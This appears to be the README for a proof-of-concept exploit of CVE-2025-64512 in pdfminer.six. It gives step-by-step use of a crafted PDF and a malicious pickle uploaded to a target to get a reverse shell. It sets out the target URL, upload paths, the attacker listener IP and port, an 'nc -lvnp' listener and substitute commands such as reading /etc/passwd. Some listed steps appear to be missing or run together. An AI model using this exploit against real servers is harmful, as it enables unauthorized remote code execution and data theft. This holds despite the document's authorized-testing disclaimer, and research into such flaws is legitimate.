
Exploit for CVE-2025-64512 to get a reverse shell.
This proof-of-concept demonstrates a vulnerability in pdfminer.six (CVE-2025-64512) that can lead to arbitrary command execution when a malicious PDF is processed. The exploit uses a crafted PDF that references a malicious, gzip-compressed Python pickle. When the vulnerable application parses the PDF, it loads the pickle and executes the embedded payload.
The included PoC is configured to execute a Python reverse shell, but the payload can be replaced with any command.
requestsInstall the required dependency:
pip install requests
Before running the exploit, edit the configuration section of exploit.py:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
The URL of the vulnerable upload endpoint.
Example:
BASE_URL = "http://target/upload.php"
The exploit uploads both the malicious PDF and the compressed pickle to this endpoint.
The absolute directory on the target where uploaded files are stored.
Example:
UPLOAD_DIR = "/var/www/html/uploads"
This path is embedded inside the generated PDF and must match the location from which the vulnerable application will later read the uploaded pickle.
If the upload directory is unknown, determine it during enumeration. Depending on the application, useful techniques include:
Typical locations include:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
The correct directory depends entirely on the target application.
Your listener IP address.
Example:
LHOST = "10.10.14.5"
Listening port for the reverse shell.
Example:
LPORT = 4444
Start a listener before running the exploit:
nc -lvnp 4444
Execute the exploit:
python3 exploit.py
The script will:
evil.pickle.gz.Instead of a reverse shell, any operating system command can be executed by modifying the command passed to:
create_pickle_with_cmd(command)
Examples include:
id
whoami
uname -a
cat /etc/passwd
This proof-of-concept is provided solely for educational purposes, security research, and authorized penetration testing. Use it only against systems for which you have explicit permission to perform security testing.